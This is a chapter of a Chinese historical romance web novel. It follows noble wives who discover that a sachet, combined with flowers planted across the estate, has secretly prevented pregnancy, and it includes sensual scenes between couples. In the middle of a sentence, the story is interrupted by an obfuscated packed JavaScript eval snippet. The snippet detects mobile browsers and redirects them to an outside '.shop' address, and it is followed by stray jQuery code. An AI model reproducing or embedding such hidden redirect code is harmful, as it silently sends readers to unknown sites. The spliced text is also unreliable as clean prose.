应识微对气味比较敏感,她离陆嘉音近些,便嗅到她身上的香囊与平日味道不太一样。
姜书漫也凑了过来:“我也来闻闻。”
陆嘉音拿起香囊,方便她们仔细些闻,有些半信半疑:
“或许是我闻习惯了,没觉得有什么差别。”
姜书漫凑近嗅了嗅:
“是有细微不大像在家里时的味道。”
陆嘉音秀眉微拧,不太确定:
“这是母亲给的,我也用了好久了。”
应识微却说:“可有让大夫看过其中成分?”
陆嘉音点点头:“听澜拿去给大夫看过,确实是安神助孕的香。”
她起初拿到这个东西的时候,霍听澜让她仔细些,亲自给大夫看过香囊中的材料,是没有什么问题的。
姜书漫却提醒道:“不如待会回去找个医馆再重新看看?”
应识微也赞同。
陆嘉音看着二人郑重的神色,点头应允。
突然发现凑过来的姜书漫还没有坐直,瞥见她在偷看自己的牌。
陆嘉音把牌往怀中一藏,娇嗔:“好啊你!”
应识微看着这一幕笑的前仰后合。
医馆中,大夫小心取出一些香囊中的药粉,片刻后便确认了下来:
“几位夫人,这香大部分是碾碎的扇阳枝加了几味安神的药材混合而成,扇阳枝的确有助孕之效。”
大夫把药粉放回香囊里,系好后还了回来。
来重新确认的三人稍松了口气,正打算告辞,却被那大夫叫住了。
“三位夫人留步,鄙人方才貌似嗅到一丝天禄花的香气。突然想起来,这扇阳枝若是与天禄花掺融而闻,不但会失去助孕的功效,反而避孕效果立竿见影。”
天禄花。三人想到家中种的遍地都是这所谓的天禄花。
大夫能够嗅到,定是几人在家时衣物不小心染上的香气。
闻言,陆嘉音脸色一白。这香囊,只有她一个人有,姜书漫与应识微都没有。
目的不言而喻。
应识微皱眉静默半晌,再次询问:
“大夫,您是说,扇阳枝同其他药材在一块没有问题,天禄花单独闻起来也没有问题,但两样混在一起,就会达到避孕的效果?”
大夫连声点头,颇有些惭愧:
“对对对,鄙人才疏学浅,没有第一时间想到天禄花,让几位见笑了。此花寻常百姓难以见到,鄙人有幸见过一次记得其香气,恰好几位问的是扇阳枝,便把其中利害告知给夫人了。”
姜书漫忙说无妨,看着大夫:“那扇阳枝与天禄花同闻,时间久了可会对身体有损害?”
“这两样一般在夫妻同房前后七日使用,才是对身体没有大损害的避孕方法,长年累月使用极易导致难孕或绝孕。敢问夫人如今用了多长时日呢?”
陆嘉音在脑海里迅速算了下时间:“三年有余。”
她与霍听澜成婚多久,她便佩戴了多久。
二夫人起初送这个香囊给她时,偶尔不戴着还会话里话外地暗示和提点,要她每日都戴。
大夫了然:“三年无伤大雅,将扇阳枝与天禄花混香撤走后慢慢补上身体亏损的元气,不出多久还是容易有孕的。人体质各不相同,起码也要到十年及以上才会产生无法逆转的损害。”
“多谢大夫。”
大夫坚决没要报酬,几人还是象征性给了银钱,道谢后出了医馆。
夜里,霍听澜洗漱好进到卧房。
从身后圈住温软暖香的妻子,阖上眼,唇在陆嘉音颈侧脸侧用力嗅吻。
见陆嘉音拿着二房给的香囊出神,拿走了她手上的香囊,把人抱到怀里。
“怎么了,今日出去遇到不开心的事了?”
霍听澜把香囊甩到一边,手不安分起来。
陆嘉音摇头,只是微锁的眉头没有松下来。
便没有兴致地用纤细的一双藕臂推拒着霍听澜的胸膛。
这点力道在健壮的霍听澜面前明显不够看,低头将唇包裹住陆嘉音娇巧玲珑的小嘴。
“唔……”
陆嘉音被闹的不禁软下身子,唇齿相依间艰难出声:“听澜,我有事要跟你说……”
霍听澜向下吻去:“你说。”
陆嘉音推开他,嗔道:“你打岔我就不说了。”
霍听澜箭在弦上也停了下来,视线留在她桃粉晶莹的小嘴。
陆嘉音拿过方才被他丢到一旁的香囊:
“听澜,今日识微和书漫都建议我去医馆重新看看母亲让我日日佩戴的这个香囊……竟真的有问题。”
霍听澜脸色唰的沉了下来,将从她手里拿过来。
“对你身体有损害?”
陆嘉音不知该点头还是摇头,心事重重:
“香囊本没有问题,但与全府上下种满的天禄花放在一起,能够避孕。”
霍听澜脸色阴沉几欲滴得出水。侯府里是从什么时候开始种上天禄花的呢?
是在他成婚半个月后。
二房那位说他如今承了爵,亦成了家,侯府一切都不像从前那般死气沉沉的模样了。
她也打算给府里换一副新面貌。
首当其冲就是把家中的花卉移到了别处,换了种名为‘天禄’的新花。
霍听澜对家里的小事很少过问,他起初只当她没事做,内宅一直是二房那位把持着,她想换什么面貌就随她换了。
自己也不甚在意,到头来害的却是他最珍视的人。
霍听澜攥着那个香囊,正准备让人处理掉,但想了想还是没有动。
声音比往日冷了几分:
“我明日拿去换掉内里的药粉,先莫要惊动她。没有确切的把握我们也不能冤枉了人家,若真是如此,我也不会轻易放过她。”
陆嘉音窝在他怀里,瓮声瓮气应声:“嗯……”
她没想过,自己和霍听澜一直以来都想要孩子的愿景,是被这样低级的手段所打破的。
霍听澜抱紧她,亲了亲魂不守舍的小妻子:
“除了避孕,大夫可有说对身体有别的损伤?”
陆嘉音在他胸前摇了摇头。
霍听澜悉心哄着人,内心自责与怒火交织。
并不想叫陆嘉音察觉,从前是他忽略了太多事,才会让她受到伤害。
应识微方进到临水居,就被霍修泠捂住眼睛,被他带着走。
“识微,你现在还不能看。”
他的声音从身后响起,眼上是他手心灼热的温度。
应识微的眼睫不由颤动,一边是对脚下路况未知的恐慌,一边是对他准备的惊喜心里隐隐的期待。
霍修泠小心翼翼地一手遮挡她眼睛,一手揽着她不让她摔倒。
“到了。”他在她耳边轻语。
遮在眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497601|202573||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前的那只手移开,应识微恢复了视线。
入目的是几个完全打开的木箱,箱子里俨然装满了金银首饰,珠宝玉石,其余的还有些字画和文房四宝。
是她的嫁妆。
一件不少。
应识微哑然望着,身体做不出任何反应。
他把一间房清了出来当做她的库房,放她的嫁妆。
这些东西弄进来还要提防着不被人发现。
霍修泠看她没有反应,下巴搁在她的肩膀上,懒洋洋地说:
“识微,你若是太感动,在我面前可以稍微哭一下。”
应识微偏头,警告似的戳他脸:
“谁说我要哭了。”
霍修泠重重地在她脸上亲了一口,她今日出去了一整天,他都没有亲够今日的份额。
“快看看,可有少缺什么。”
他费了好大劲,才把这些一件一件搜罗回来的,并非随意寻来相似的凑数,不然他早就将这个惊喜告诉应识微了。
应识微被他牵到箱子旁,拿起箱子中的清单作势要帮她一个个检查。
她没有看木箱如何,只是转身抱住霍修泠,踮脚吻他。
霍修泠眼睛突然睁大,显然没有做好这个准备。像是被雷击中了一般,浑身颤栗。
一时间没有反应过来,唇上的触感令他短暂失神。
下一秒,他放下那张薄薄的单子,蓦地用双臂锁住她的腰间,原本她轻浅的吻因为霍修泠的加入变为暴风雨,令她摇摇欲坠。
霍修泠稳稳托住她,伸出一只手盖上一个木箱,将应识微抱了上去,唇也不忘紧紧贴合。
应识微环住他的脖子,放任自己全身心投入他织下的欲网中。
他弯着腰,不敢给应识微看到他可耻的反应。
“修泠,谢谢你……。”
应识微退开些,唇一张一合喃喃细语。
她现在不仅有了先前当掉嫁妆的钱,还有霍修泠的钱,三房每月的月例,现在她的嫁妆也一件不落回到了她的手中。
她如今很少会哭了。
应识微在霍修泠事无巨细的珍爱里,丧失了哭泣的能力。
二人唇齿间只是稍作分离,应识微说话的气流还洒在他的唇边。
霍修泠没有说话,只捧着她的脸,再度急切地复吻上让他迷恋至极的唇瓣。
应识微感到自己口中每一处角落都被他强势掠夺过,舌尖柔弱的力道完全不及他的,被他逗着怜爱了许久,已经失去了知觉。
她的唇已经红肿了不少,可他仍孜孜不倦,好似不会感到疲乏。
最后应识微招架不住,怕自己在孝期犯错,连忙推开了他,分离时带出长长的莹链。
“够了、修泠……”
霍修泠的眼底仍晦暗得可怕,听着她求饶似的嗓音,心里痒的要死。
喘着气没再吻她,只将人用力抱在怀里,像是要把她揉进骨血。
把她送回房,霍修泠立马跑没影了。
回到自己卧房,他抓住那根不争气的东西,脑子里满是方才应识微的声音和当时亲吻的感觉。
解决之后,又泡了好久冷水澡,才敢去应识微的卧房。
这几日宫中发生了件匪夷所思的事。
新帝原本定下的开春选秀取消了。
原本准备好送女儿进宫的高门大户被耍了一通,却也不敢多说什么指责向来随心所欲的齐骁。